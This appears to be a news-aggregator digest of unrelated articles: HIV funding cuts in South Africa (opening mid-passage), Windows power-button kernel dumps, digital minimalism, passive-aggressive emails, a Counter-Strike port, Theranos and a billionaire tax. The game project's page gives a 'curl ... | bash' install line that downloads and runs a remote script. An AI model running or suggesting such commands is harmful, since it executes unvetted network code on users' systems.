Shon, a Black trans woman living with HIV, is still working at the Aurum Institute — at least for now. Unlike at the shuttered Engage clinic in Johannesburg, some staff remain in Aurum’s Pretoria office, but they decreased in number. As a result, Aurum is offering fewer services and steering patients to the public health system, where trans people receive little necessary care.

Aurum used to be a “one-stop shop” for trans women, Shon said. But now, after the cuts, doctors visits are no longer free and hormone drugs aren’t available at Aurum’s popular Pop Inn clinics. “The ladies do come to get [HIV medication], others come to get PrEP, but they cannot get hormones,” Shon said. “They’re told to go to a public clinic,” but “they don’t know anything about trans women!” Shon added that patients will be addressed with derogatory and incorrect terminology at such locations.

The stigma is too high to go to a public clinic, so Shon goes to a private doctor herself, when she can afford it. But getting hormones is now tough. While patients aren’t being blackmailed as they are in Uganda , “a pharmacist might say, ‘What do you need this for? No, I’m not giving it to you for that. I have other patients who really need it,’” Shon said.

Trans women are struggling, Shon said, recalling how she knew two “who were suffering from depression. One couldn’t take hormones, became really religious,” stopped hormones, and became suicidal. Another was suffering from liver problems after buying hormones on the contraband market, without the supervision of doctors.

Whenever transgender patients are taking contraband hormones via syringes which might not be sterile, they are being exposed to increased risks of contracting HIV and hepatitis — all because DOGE cuts took sterile medical care away from them.

Amid the devastating cuts to global HIV care, a potential breakthrough treatment is just beginning to reach patients. Lenacapavir , a new medication, promises to prevent HIV for six months with just one injection. But it comes with a prohibitively expensive $28,000-a-year price tag, making it out of reach for those who need it most.

Recently, the Global Fund for HIV, Tuberculosis, and Malaria struck a deal with pharmaceutical company Gilead Sciences to produce the shot for $40 in limited quantities. Small amounts are headed to South Africa.

At an outdoor cafe under a massive tree in the picturesque city of Cape Town, Fatima Hassan , a legal and HIV scholar, blasted the pilot study coming to the republic.

The government’s approach was “making the same mistake” of excluding those who were most affected: sex workers and men who have sex with other men.

The plan is to bring a one-time shipment of 40,000 doses — a woefully inadequate number for a country of more than 60 million people where about 1 in 5 adults is living with the virus is living with the virus.

Worse, only a tiny fraction — 5 percent, or 2,000 doses — is to be set aside for testing on men who have sex with men.

None are going to be set aside for sex workers.

And another problem: So many of the people who would be needed to distribute lenacapavir to the people who need it most — to the gay college students who used the shuttered Engage clinic on Joburg’s Reserve Street, to the trans women who went to the Pretoria Pop Inn clinic — have been fired . Without those workers, can South Africa even distribute the medication?

Steps from the cafe, within sight of well-appointed apartments topped with electrified razor wire and the Desmond Tutu Health Foundation, there is a shantytown of cardboard-and-wood dwellings, home to some 100 Black adults without anywhere else to live.

A conservative estimate means that probably at least 20 of them were living with HIV, if not more.

And because of Trump and Musk, the people who used to find them and treat them have been fired — and are at higher risk of HIV themselves.

How long do you need to hold down the power button to turn off a PC?

Hacker News
www.osnews.com
2026-10-31 04:43:32
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Original Article

Home > Windows > How long do you need to hold down the power button to turn off a PC?

Raymond Chen published another story from the Windows development trenches, this time about what happens when you hold down the power button.

If you hold a PC’s power button for 12 seconds, it will turn off at the hardware level without notifying the operating system. This is a safety feature so that you can turn of the computer even if the operating system’s “Shut down” command isn’t working.

After eight seconds of the power button being held down, the Windows kernel realizes that the user is trying to do a force-power-off of the system, and it quickly takes a kernel dump that can be uploaded to the Windows Error Reporting service the next time you turn the system on.

↫ Raymond Chen

I’m a bit confused by these numbers, because I have never seen a PC take this long to power off when holding down the power button; usually it takes only a few seconds to do so, meaning Windows would never generate said kernel dump. I tried reading through the various ATX specification documents to find more information on this, but then I remembered I’m not an electrical engineer so I have no idea what I’m looking at.

The baseline is that ATX always provides standby power to the motherboard, and pressing the power button shorts the power button pin to ground, telling the PSU to power on fully. Pressing the power button if the computer is running tells the operating system to initiate a shutdown (although you can change this behaviour), but if you hold the button down for a certain number of seconds, it forces a power-off. So far, so good; basic information.

It seems that the length of time you need to hold down the power button to force a power-off is dependent on the motherboard in question, handled by a microcontroller or some other IC. Virtually every source I can find says this timing is set to about 4-5 seconds, which is quite a bit shorter than the number of seconds given by Chen. Perhaps motherboard manufacturers consider the 12 seconds to be too long, and just do their own thing, regardless what the ATX specification suggests?

What further complicates matters is that Chen details how the kernel dumps created after pressing the power button for 8 seconds do, in fact, get sent to Microsoft once the computer turns on again. In fact, he is one of the people who gets to see these dumps and respond to them, so obviously they are indeed rolling in. Does this mean there’s a huge number of computers out there that require you to hold down the power button for 12 seconds to force a shutdown that nobody’s ever seen?

These emergency kernel dumps are internally classified as “long power button hold” (LPBH) failures. One of the pieces of information recorded in these emergency kernel dumps is whether the screen consists entirely of black pixels. Those failures are sub-classified as “black screen LPBH”, and they go to a special virtual team for analysis. (I happen to be a member of this black screen LPBH team.)

↫ Raymond Chen

What’s going on here? Obviously, I’m not going to doubt Chen, so there must be something here I don’t quite understand or that I’m missing. The ATX specification might suggest 12 seconds, but could Windows perhaps adapt its kernel dump behaviour – dumping much sooner than 8 seconds – based on the motherboard it’s running on, maybe through information provided by the chipset drivers?

I would love it if someone more knowledgeable than me can help us unravel this small mystery.

About The Author

Thom Holwerda

Follow me on Mastodon @ [email protected]

Clojure/Conj 2026

Lobsters
www.youtube.com
2026-10-31 02:25:34
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Original Article
Clojure/Conj 2026 - YouTube

Digital Minimalism

Hacker News
vitalik.eth.limo
2026-10-31 02:16:36
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Original Article

2026 Oct 31 See all posts

Digital minimalism

For a long time I have been a fan of minimalism in my physical life: have few physical possessions, and try to do more with less. Four years ago, I wrote this blog post describing what I had in the 40-liter backpack that I travel around with.

Physical minimalism, however, was an idea that came of age in the 2000s and 2010s and was responding to the challenges and the opportunities of the 2000s and 2010s. I continue to believe that it is valuable - though I recognize some arguments in the other direction, notably that having the right kinds of physical things can make more practical to have more self-sovereignty over your life. But I also think that in the modern era, we need a new kind of minimalism: digital minimalism .

Digital minimalism is about being intentional about ways that you access digital technology, making each use a conscious choice rather than something that you get sucked into by default. In this post, I will describe some experiments that I've done in this direction.

Twitter (aka X) has always had a strain of toxicity to it, that has been increasing in recent years. The platform is definitely engaging , but it's often far from informative , and the ways in which it engages often do not make you feel good . But this all seemed to hit a particular crescendo for me around the end of 2024 and beginning of 2025. Many things were happening at that moment, but if you spent a lot of time on X you will likely remember a particular one: everyone seemed to be suddenly becoming fans of Adolf Hitler .

This is not even mentioning the time that Grok itself briefly turned into "MechaHitler" .

Around the same time, "Crypto Twitter" was spiraling into a mood that I saw described as "financial nihilism": roughly, that the natural end state of blockchains is gambling, this is good, and if you dislike this and wish for something better then you are a stuck-up elitist prick.

Naturally, I had (and continue to have) my intellectual disagreements with both of these trends. But on top of that, I also started to more seriously pay attention to the fact that while the style of discourse on the platform was engaging , it was not enlightening and not making me feel good . And so for much of this year, I have been doing an experiment in distancing myself somewhat from this chaos. I did not leave X the platform , but I did leave X the interface . Instead, I have been doing most of my tweeting through Firefly :

Firefly is a multi-client that combines together X, BlueSky as well as Farcaster and Lens (both partially-Ethereum-based decentralized social media platforms). You can see tweets from all four platforms, and you can make a tweet that gets auto-posted to all four platforms.

My primary goal in doing this was to support decentralized social media, and to continue to engage with X but in a way that distributes network effect rather than locking it in. But in my months of using Firefly, I found that it also has a different effect: I feel much better using it .

I suspect the primary reason is that while Firefly allows you to tweet, and see other people's tweets, it is missing one central part of the X interface: The Algorithm™ .

In particular, I suspect that in my time using the X interface, I fell into the following trap:

  1. See someone making a tweet supportive of Adolf Hitler.
  2. Click on the tweet and look around its quotes and responses, the same way that someone would morbidly stare at a car accident.
  3. The Algorithm™ thinks: "This user seems to be a fan of Adolf Hitler. Let me mark that down as one of his interests."
  4. See ten tweets supportive of Adolf Hitler.
  5. Click and look around with morbid curiosity, the same way that someone would morbidly stare if they saw for the first time a car accident where ten cars were crashed and burning at the same time.
  6. The Algorithm™ thinks: ... well, you get the idea.
  7. See a hundred tweets supportive of Adolf Hitler.

Now, in fairness to X and Elon and its hard-working employees, the Adolf Hitler fandom does seem to have greatly wound down in the one and a half years since then. I suspect part of this is because such movements inevitably burn out once people realize how immoral and stupid they are. But another part is undoubtedly genuine improvements in how The Algorithm™ works.

But even still , in those moments when I go back into the X interface, I find myself logging back out and going back to Firefly. I also find that my mind has changed. I find myself less interested in the various battles that the intellectual titans on the platform seem to be sucking every day of their lives into. Recently, I logged back in, and I learned that the culture war issue du jour was that people were stridently arguing about whether or not Mao was evil. When I saw this, I had an emotional response that was sort of similar to what I think is the common experience of being an adult, seeing some food or TV show or game that you used to love as a kid, and realizing that you now find no interest in it at all. I smiled, and immediately went back to enjoying my day.

My verdict: I recommend more people try this. Explore ways of greatly decreasing or scoping your social media use: use something like Firefly, access X only on Tuesdays, whatever works for you. Get the information benefits of the platform without getting sucked in to the vortex, which does operate on you in powerful subconscious ways that you may not realize.

Cell data minimalism

For a period of 100 days, I embarked upon a second experiment: I lived my life with my phone always on airplane mode. I still used wifi, but not my cell connection.

I had two goals in doing this:

  1. Privacy . A phone connected to cell is an always-on tracking device. Cell companies are notoriously bad at keeping that data secure, and sometimes they themselves sell it . So there is a large chance that a trail of your location will end up in the hands of intelligence agencies, military contractors, advertising companies, and more.

    Anonymous SIM cards are not a sufficient solution, for two reasons: (i) your phone can still be linked across its entire usage lifetime through its IMEI number, and (ii) you leak all kinds of data that can be used to reconstruct who you are from your fine-grained movement patterns, internet access patterns, and modern AI makes it very practical to uncover these patterns.

    Hence, the best location privacy solution is not having a cell connection at all (also, use GrapheneOS, and be very limited in what apps you give location permissions to; I had already been doing both).

  2. Mental health . Not having the internet at all for significant periods of time (when I'm outside) has been a good way of (re-)building the habit of surviving without it, and getting more mental peace and the space to think about other more healthy and productive things.

On the whole, I consider the experiment to have been a success. During those 100 days, I violated the "no cell data" rule once literally but not spiritually - I turned it on briefly to receive a confirmation code that I needed in order to maintain that phone plan itself, and once spiritually but not literally - when going on a remote and slightly dangerous hike, friends insisted that I bring along a few communication devices that they had for emergency comms and use them to check in once every few hours.

My largest inconvenience was a stretch of time I was in Singapore, when my inability to receive SMS confirmation codes meant that I could not log into Grab (the regional Uber equivalent). As a result, my food options were more limited, and I had to take the subway instead of a car even in situations where that was much more inconvenient.

Since those 100 days, I have opened the cell connection occasionally, but so far I have broadly continued an "airplane mode by default" lifestyle.

For navigation, I used CoMaps , a local-first mapping application that downloads OpenStreetMap data and then shows you a map, gives you directions to get where you need, etc locally. My general review of CoMaps is that I find it worse than Google Maps for navigating the human world (restaurants, stores, opening hours...) but better for navigating the natural-ish world (it knows about many trails that Google Maps does not, though it does occasionally fail by claiming trails that do not actually exist, leaving me on one occasion pushing through hundreds of meters of shrubbery to get back to civilization).

I also became interested in the concept of local world knowledge apps. In principle, the data size of meaningful packs of information about the whole world is not that large. Compressed English wikipedia (without media) is only 27 GB . OpenStreetMap's planet.asm is 2.2 TB, though you can doubtlessly prune that down to 1-10% of its size and have everything you might conceivably need.

This month there was a bounty (organized by Statuette; I contributed as one of the donors) to create local phone apps that try to make useful knowledge easily accessible offline.

Here are two of the apps:

Left: FieldAtlas . Right: Commonplace

My general impression is: right now, we are exactly on the cusp of these kinds of apps starting to make sense. Most of the participants in the competition were trying to use on-device text LLMs to think for a long time before coming up with an answer. My impression is that this approach was too slow: answering a single question would take anywhere from 1 to 22 minutes. The best apps, on the other hand, used some kind of semantic search to show the user a search result from the local database immediately, and then followed that up with a very small LLM writing a text answer. This gives actually-good answers in a very reasonable timeframe.

Finally, when you're out and about, especially if you have meetings, sometimes you do need to have internet when you're on the go. When you arrive at a place, you often need to contact a person you're meeting to confirm their exact location or to get them to open the door. When you're at one meeting, you often need to re-confirm details about the next. If you don't have cell data, your only option is public wifi - and importantly, the public wifi hotspot must allow you to connect without providing an SMS confirmation code.

Different places are very different in terms of how friendly they are. Here is a quick tier list, taken from places I've traveled to while I was paying attention to public wifi availability:

  1. Taiwan (or at least, the Taipei area)

    Taipei has a huge number of public wifi hotspots. When I opened my phone to check when walking outside (or even when inside an Uber), there was literally an over 25% chance that there was a hotspot I could connect to that was in range at that moment. Usually, these were either municipal government wifi, or public wifi run by local convenience store chains.

  2. Ukraine, USA, Canada, Singapore

    Ukraine was the most surprising for me. In a surprisingly large number of places, across multiple cities, there were open hotspots available, some of which did not even require a clickthrough. (If you're wondering if it's responsible for them to do this, given Ukraine's security needs, I suspect the answer is that they are primarily concerned about decreasing the enemy's internet access near the frontline and on drones flying at high speed through the air toward their cities, and street-level wifi is not really useful for either of those)

    USA, Canada and Singapore were all similar: they had a very high number of theoretically-public wifi hotspots in general, but a large portion of those hotspots were gated behind either SMS or some kind of login. But even still, a very significant number of open wifi hotspots were available.


    Also, I learned that Toronto has a fraternity (or sorority) that seems to be named after SBF.
  3. Austria, Hungary

    Both halves of Charles I's old empire are similar. There are many hotspots, but the great majority of the public ones require an SMS confirmation code to log in. I could find properly open wifi, but on several occasions it took trying quite a few hotspots and walking around for a while.

  4. Switzerland

    Despite its general reputation for privacy, Switzerland ranked at the bottom for me. Almost all public wifi hotspots require an SMS confirmation code. In my first 1.5 kilometers walking through the downtown, I found only two that do not: a random shoe store, and Starbucks, which lets you connect for 10 minutes, and then longer if you enter a confirmation code that you receive by email.

Web minimalism

Recently, I have been starting to do more and more things without relying on user interfaces inside of websites at all. The last few times I updated my IPFS hash on ENS, I did so through a command-line tool that an AI wrote for me. Many of the payments that I make through privacy protocols, I now make through the kohaku-cli tool .

Sending through kohaku-cli. Today, the CLI is even cleaner and easier to use; no need to specify the value twice and know what a tail call is.

Websites and web applications, especially web applications for doing crypto things, are dangerous for several reasons:

  1. If you access a web application, you end up re-downloading the application from the server thousands of times, and you are fully trusting the server each time . If the server gets hacked even one of the thousands of times that you open the site, you might be screwed. Regular old-fashioned applications (where you explicitly click "download") are better than this: you only need to trust the server to not be malicious or hacked at that exact moment once.

  2. Websites and web applications are by default very bad for privacy . When you access a website, it can see your browser (including version number), your operating system, your screen size, and once you start acting hundreds of other data points (eg. mouse movements, button click patterns) that quickly identify you. Websites often send user data (and metadata) to all kinds of third-party providers, from CDNs serving scripts to analytics companies, and this all happens by default.

  3. As we've seen with social media, web applications crafted by third parties with commercial interests may not have your interests at heart. Fine-grained UI decisions may be dark patterns optimized to extract, whereas what you want is bright patterns that are optimized to enlighten and educate and protect you.

So what's the alternative? Basically, bring back the Unix Philosophy , but make it better and much more user-friendly with local AI: speak English to tell your computer what to do rather than Bash.

At its core, the Unix philosophy was simple: make simple, modular tools that each do one thing and one thing well, and that are designed to talk to each other through the most universal interface (text). You as a user have extremely fine-grained choice about how to make the different programs fit together. UIs, on the other hand, combine many functionalities into one single opaque tool produced by a single developer. At their apex, UIs turned into "super-apps", which greatly concentrate power in the application developer and have complex and unintelligible internal workings, magnifying security risks. With LLMs, we can go back to the Unix philosophy approach, putting the fine-grained decision-making power back into the user's hands, but without the downside of everyone needing to become a programmer.

Conclusion

Physical-world minimalism, of the style that became popular in the 2000s and 10s, was made possible by a new wave of technology: computers and the internet. A single computer could substitute for dozens of physical things. As a result, you could live a life of much greater simplicity and freedom, with just a laptop, a few sets of clothing, and basic charging and hygiene equipment. Physical minimalism was much harder before the internet; it was doable, but would entail a much more complex lifestyle commitment. After the internet, the costs of a more physically minimalistic lifestyle greatly dropped.

With the last ten years of progress of software quality, together with modern AI, I would argue that we now have the wave of technology needed to similarly enable the next wave of minimalism: digital minimalism. We need social media less than before, because you can talk to the bot for information instead (and for human connection, there's still the old-fashioned solution: going out and talking to people in real life). We need the internet less than before, because there's so much more you can do purely locally and offline. And we need the web less than before, because you can do much more, and more conveniently, though either command-line tools or custom-made user interfaces, and AI can help you use or craft both. And these things are all happening at exactly the time that the flaws of these previous paradigms - and, for that matter, the flaws of using AI in the wrong way - are reaching their apex, and so a digital minimalism is becoming more and more necessary.

Each person's path to digital minimalism will be different, as each person has different needs. But I highly recommend everyone try reducing their digital clutter in at least one important way, and if you like the result then keep going.

‘Apologies for any confusion!’: how to write the perfect passive-aggressive email

Guardian
www.theguardian.com
2026-10-31 01:00:33
In a survey, ‘just to be clear’ came out as the most loathed phrase. But I think I can do better A new contender for the most passive-aggressive email phrase has emerged. “Just to be clear” was chosen by 52% of desk jockeys in a survey by email verification company ZeroBounce, closely followed by th...
Original Article

A new contender for the most passive-aggressive email phrase has emerged. “Just to be clear” was chosen by 52% of desk jockeys in a survey by email verification company ZeroBounce, closely followed by the perennial pass-ag fave, “per my last email” (40%), which tied with the identical-in-intent “as previously discussed”. Further down the list came “for future reference” and “kindly note”.

If you ask me, these all verge on actual aggressive. Imagine saying “just to be clear” out loud to another person: that’s a conversational poke in the ribs, isn’t it? It’s the kind of thing you unleash 10 minutes into an ill-tempered wrangle with your home insurance company about inflated renewal premiums. “Kindly note” is even worse – it’s a phrase from an angry message on the office kitchen wall about microwave abuse.

No, we can do better than that, or at least I – a person whose own spouse frequently describes her as unpleasantly passive-aggressive – can. Let me explain: an exchange of professional passive-aggressive emails is a ritual as intricately coded as a Belle Epoque duel and it demands the appearance of great politeness. Your message needs to read, on its surface, as exquisitely helpful and friendly, while leaving every cc and bcc on the thread in no doubt as to it what it really is: an epistolary shanking.

A good pass-agg email starts with a simulacrum of warmth and gratitude. I can usually generate the appearance of warmth by harnessing the dizzying rush of anger generated by whatever stupid message has prompted me to press “reply all”. “Hi X!” I usually start perkily, then I pause to hold up both middle fingers to the screen. Next comes gratitude: “Great to hear from you,” (it wasn’t) “and thank you so much for your message”. Thanks, that is, for giving me a chance to show everyone you’re out of line. I say “everyone”, because I like to deploy a cc on this kind of email.

I follow this Trojan Shetland pony of an intro with a selection of my preferred zingers:

“My understanding was … apologies if this was incorrect?”

I understood perfectly. I am correct. I am sorry for nothing. The question mark is a mere disingenuous flourish.

“As agreed,”

The import of this little phrase is clear: I have kept the receipts and I want you to know that. This email will be followed near-instantaneously by a second email, forwarding the evidence that I am right. The body of that second email will just read “FYI”, which is passive-aggressive for “checkmate, loser”.

“ Apologies for any confusion” or “apologies if this was unclear”

It, and I, was entirely clear. I am only sorry you are a dolt. Some pass-ag practitioners drop in a bland, smiling emoji here, but I am a purist.

Hope this helps!

I hope this leaves you seething with the same fury your message inspired in me.

“No response required”

By saying I don’t expect you to respond it will make you look petty when you do; it also subtly implies you’ve already gone home. Your move.

Warm regards,

Warm like the fires of hell.

Still, as much as I get satisfaction from the perfect turn of passive-aggressive phrase, I always realise later that it’s a hollow pleasure. What am I doing fighting, albeit with elegant restraint, a fellow worker when the real enemy is capitalism? Why are we emailing at all when we could be contemplating the beauty of a sunset, shoulder to shoulder? For future reference: I think we’d all be happier taking a deep breath, pressing backspace, and walking away.

OpenAI raises less than half of $30B target

Hacker News
www.wsj.com
2026-10-30 23:22:44
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Original Article

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Tactical-Retreat: a freely available, multi-platform QuakeC-based Counter-Strike v1.5 port

Lobsters
www.frag-net.com
2026-10-30 22:32:10
Comments...
Original Article
Return Home Rad-Therapy Rad-Therapy II Tactical-Retreat Team-Effort
  1. Info
  2. Downloads
  3. Screenshots
  4. Installation
  5. Building
  6. Credits
  7. License
  8. FAQ
Logo Tactical-Retreat

formerly known as FreeCS (and OpenCS before that...)

1. Info

The Tactical-Retreat project produces a freely available, multi-platform QuakeC-based Counter-Strike v1.5 port. This is made possible with the Nuclide project by Vera Visions L.L.C. and the FTE QuakeWorld engine.

2. Downloads


3. Screenshots

This image was created for use on this site using components taken from the Counter-Strike v1.5 mod for Half-Life owned by Valve Corporation. The copyright for the components are held by Valve Corporation while the copyright for these particular compositions are held by us.


4. Installation

Quick and dirty: curl -s https://www.frag-net.com/install_tacticalretreat.sh | bash

Extract the release archive. If you don't already have the game data use REWise to extract the content of csv15full.exe and merge the cstrike directory with the one from the archive.

You can then proceed to run the game with the TacticalRetreat script.


5. Building

Be familar with the git program, and you can clone Nuclide , and then within that directory clone the cstrike and valve repositories.

Then issue: make game GAME=cstrike
to build the various pieces of game logic (in the form of QuakeC .dat files).


6. Credits

  • Spike for FTEQW and for being the most helpful person all around!
  • Xylemon for the hundreds of test maps, verifying entity and game-logic behaviour
  • Theuaredead`, preston22, dqus for various patches
  • To my supporters on Patreon , who are always eager to follow what I do.
  • Any and all people trying it, tinkering with it etc. :)

7. License

ISC License

Copyright (c) 2016-2026 Marco "eukara" Cawthorne

Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF MIND, USE, DATA OR PROFITS, WHETHER
IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING
OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.


8. FAQ

8.1 Why do we need Tactical-Retreat ?

Because the original games aren't open, and I wanted to change that. There are tons of weapon mods for Counter-Strike on websites such as ModDB and GameBanana that could be turned into new weapons for purchase. You can basically build the CS server of your dreams. Make every LAN-Party personalized.

8.2 What are the project goals?

  • Tactical-Retreat wants to be faithful to classic CS
  • It needs to be compatible with the existing custom content
  • Needs to be freely available to everyone

8.3 Why might I want to use Tactical-Retreat?

Being built from the ground up with hindsight and other modifications in mind, it's a lot simpler to get started creating custom objects. You can design whole weapons, items, NPCs (as well as their schedules) without writing a single line of code. This is due to Nuclide's data oriented design and the use of id Tech 4 style decl files.

Because it's built on Nuclide , it also has a different netcode, with weapon prediction standard across the board. There's also bots included with every game, as well as voting features and a metamod inspired plugin system, with a few ports of popular plugins.

Even gamerules can be swapped out on a whim, as they're simply external modules separated from the server to begin with.

8.4 What platforms are supported?

Anything that the engine binary (provided by FTE QuakeWorld) runs on is supported. All components in Tactical-Retreat are platform/architecture independent. Being a QuakeC project has that benefit. This generally means that unless you are making engine modifications for your project, you will not need to port your project.

We've successfully tested it ourselves on Linux , OpenBSD , and Windows .

8.5 How can I support the project?

It is mainly orchestrated by Marco Cawthorne which you can support on their Patreon . He also runs the frag-net game network that powers the on-line backbone of the project. Helping out with the costs that way is greatly appreciated. That said, expressing yourself in the Matrix chat can also nudge the project. If you're the type of person that knows exactly what we need and can lend a hand, be sure to reach out!

8.6 Do I need to own Half-Life or Counter-Strike to play this?

No. The project includes enough of its own replacement data to be able to run the game solely from the freely available mod data. When running some custom maps however, that heavily depend on custom Half-Life content, you may not be able play them properly. This will improve over time.
Tactical-Retreat logo by Vera Visions L.L.C.; This site Copyright © 2025, 2026 Tactical-Retreat Project; FTE QuakeWorld is Copyright © 2002-2026 David Walton; Half-Life, and any associated characters belong to Valve Corporation. All Rights Reserved.
Back to frag-net.com - Projects

The support case of a customer who said that all they could see was a black screen

Lobsters
devblogs.microsoft.com
2026-10-30 21:01:21
Comments...
Original Article

If you hold a PC’s power button for 12 seconds, it will turn off at the hardware level without notifying the operating system. This is a safety feature so that you can turn of the computer even if the operating system’s “Shut down” command isn’t working.

After eight seconds of the power button being held down, the Windows kernel realizes that the user is trying to do a force-power-off of the system, and it quickly takes a kernel dump that can be uploaded to the Windows Error Reporting service the next time you turn the system on. (Sometimes four seconds isn’t enough time to get enough information, and the kernel dump is incomplete. I believe that on Windows Insider builds of Windows, you get a message that says something like “Please let go of the power button so we can collect more information, and then we will turn off the computer.” This gives the kernel more time to finish capturing its kernel dump.)

These emergency kernel dumps are internally classified as “long power button hold” (LPBH) failures. One of the pieces of information recorded in these emergency kernel dumps is whether the screen consists entirely of black pixels. Those failures are sub-classified as “black screen LPBH”, and they go to a special virtual team for analysis. (I happen to be a member of this black screen LPBH team.)

Sometimes the problem is a broken video driver. Sometimes the video driver is doing just fine, but the desktop compositor is just handing black pixels to the video driver. Sometimes the desktop compositor is doing just fine, but nobody is drawing anything to the screen. And those cases are further subdivided further into cases like “there is nobody around to draw anything” or “the person who normally draws stuff is hung.”

Back in the Windows 3.1 days, there was a customer product support call that would today have been classified as a “black screen” bug: The customer reported that they turned on the computer, and Windows started up, but when the logo went away, all they saw was a blank screen.

After some questioning, the customer support engineer put the story together: It turned out that this customer really liked the color black, so they decided to set up a goth theme. They set the wallpaper color to black. They set the title bar color to black. They set the button color to black. They set the window background color to black. They set the window text color to black. Every possible color you could pick in the Colors control panel was set to black.

Once you get yourself into this situation, it’s hard to get out because you can’t see anything.

I don’t know how the customer support engineer fixed the problem, but I’m guessing that they booted into MS-DOS, ran EDIT.COM , and deleted the [colors] section from the win.ini file , thereby returning all the system colors to defaults.

Category

Topics

Author

Raymond Chen

Raymond has been involved in the evolution of Windows for more than 30 years. In 2003, he began a Web site known as The Old New Thing which has grown in popularity far beyond his wildest imagination, a development which still gives him the heebie-jeebies. The Web site spawned a book, coincidentally also titled The Old New Thing (Addison Wesley 2007). He occasionally appears on the Windows Dev Docs Twitter account to tell stories which convey no useful information.

Friday Nite Videos | October 30, 2026

Portside
portside.org
2026-10-30 20:55:38
Friday Nite Videos | October 30, 2026 barry Fri, 10/30/2026 - 20:55 ...
Original Article

Friday Nite Videos | October 30, 2026

Historian Debunks The Biggest Witchcraft Myths. The Activist Fighting for America's Persecuted Billionaires | The Daily Show. Patrick Stewart's Extraordinary Career. We Spoke To Trump Voters In Rural Florida. Digger | Movie.

Portside Portside

A Decade After Theranos, Scientists Want You To Know

Portside
portside.org
2026-10-30 20:41:55
A Decade After Theranos, Scientists Want You To Know barry Fri, 10/30/2026 - 20:41 ...
Original Article

Around a decade ago Theranos , one of the buzziest science start-ups ever, imploded. Swamped by allegations of fraud, the actions of the company and its enigmatic CEO, Elizabeth Holmes, shone a harsh light on problems with scientific start-ups. Now scientists say these issues have only gotten worse.

In a new documentary entitled You Can See Everything, filmmaker Nathan Fielder follows Holmes in the lead-up to starting a prison sentence in May 2023, after she was found guilty of fraud.

The film retraces the saga of Theranos, which claimed to have a machine that could perform hundreds of clinical tests using a single drop of blood. After years of fundraising, high-publicity support and partnerships with pharmacies to make the tests accessible, scientists and journalists revealed in 2015 that Theranos’s claims were false: there was no scientific evidence that its product worked.

Theranos is, in many ways, a cautionary tale and a relic of 2010s Silicon Valley. But for scientists, Theranos’s problems are anything but history.

Canaries in the Coal Mine

John Ioannidis is a professor at Stanford University’s medical school and was among the first to question Theranos’s bona fides in a 2015 article. Eleven years later Ioannidis says he worries the problems of transparency and a lack of strong evidence in science and technology start-ups are, if anything, worse today.

“I feel kind of uneasy about this being presented as a sensationalist, movie-quality story [about] a single bad apple because I see very similar phenotypes to Theranos,” Ioannidis says.

Ioannidis argues that, in some ways, claims of scientific progress are a public relations game. As private companies have become increasingly powerful agents in driving research forward, the trend has shifted fields away from more traditional, publicly funded research and academia.

“Holmes is in jail, but the recipe of her success has been even more widely adopted,” he says.

Ian Papautsky, a microfluidics researcher at the University of Illinois Chicago, says that Theranos’s public downfall and time in the spotlight create a strong case for validating scientific findings. But he, too, worries that, as start-ups and private companies increasingly drive discovery, opportunities for secrecy or fraud may grow.

“Many of the start-ups are not transparent in their technology development,” he says. “On the one hand, you would argue that they have to be, because they’re trying to compete with everyone else. But that also makes it a lot easier to hide the mismanagement and all these other various issues.”

Holmes’s husband, Billy Evans, who also appears in the documentary, is himself quietly building a new blood testing company. The start-up, called Haemanthus, plans to use artificial intelligence tools to run diagnostic tests. Holmes is listed as a scientific adviser to the company, and Evans has raised millions of dollars in funding, according to NPR .

“The idea is to put the band back together and do it all again,” Evans tells Fielder in the movie.

A Lasting Effect

Theranos has made it harder for academics who study blood testing or microfluidics to get funding, says Umut Gurkan, a biotechnology researcher at Case Western Reserve University. He creates blood testing products for conditions such as sickle cell anemia. Gurkan remembers going to Silicon Valley in 2015 to seek funding and being told, “We don’t invest in diagnostics anymore.”

Even as diagnostic technology has advanced, it remains difficult to bring it into markets, he says.

“Trust in science is fragile, and ‘a drop of blood’ now sounds like a scam,” Gurkan says. “Honest companies trying to save lives pay that tax. And at the end of the day, patients and real people pay the price with lack of working diagnostics and technologies that deserve to be in the market.”

As for Theranos’s claims: even after more than 10 years of advancement in clinical testing and microfluidics, its premise remains impossible, the researchers consulted for this article say—at least at the scale that Holmes promised. A drop of blood doesn’t hold nearly enough biological information to conduct the hundreds of tests that Theranos claimed.

Theranos’s mission was noble, Papautsky says, but the science did not and does not hold up.

“Doing multiplex testing on a small volume of blood is a good concept—it would be an important advancement in technology,” he says. “But having experts with the right knowledge and good management is very important, and it’s becoming more and more important these days. Expertise is not necessarily being valued as it used to be.”

is a news intern at Scientific American and is based in New York City. Her work has been featured by Smithsonian Magazine, Pew Research Center, the Local News Initiative and various local newsrooms.

Founded 1845, Scientific American is the oldest continuously published magazine in the United States. It has published articles by more than 200 Nobel Prize winners.

Scientific American covers the most important and exciting research, ideas and knowledge in science, health, technology, the environment and society. It is committed to sharing trustworthy knowledge, enhancing our understanding of the world, and advancing social justice.

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Boo! It’s a Scary Billionaire Tax!

Portside
portside.org
2026-10-30 20:37:12
Boo! It’s a Scary Billionaire Tax! barry Fri, 10/30/2026 - 20:37 ...
Original Article

Americans overwhelmingly support taxing billionaires more. But some of those billionaires, including those who’ve seen their wealth balloon in recent years, are spending big to stop it.

Voters in California, for example, are considering a ballot initiative called Prop 40 — a one-time, 5 percent wealth tax exclusively on the state’s 200 plus-billionaires. But a few dozen billionaires are ponying up tens of millions to fight the tax and threatening to run away if they lose.

In an analysis for Tax the Ultra Rich Now (TURN), the Institute for Policy Studies identified 22 Golden State billionaires who have contributed substantial funds or been outspoken opponents of Prop 40. This group has seen their combined wealth increase 64 percent in the last 20 months. Yet you’d think from their reaction the sky was falling.

The 22 billionaire snowflakes include a bunch of tech bros and crypto barons making billions off developing an AI future for the rest of us.

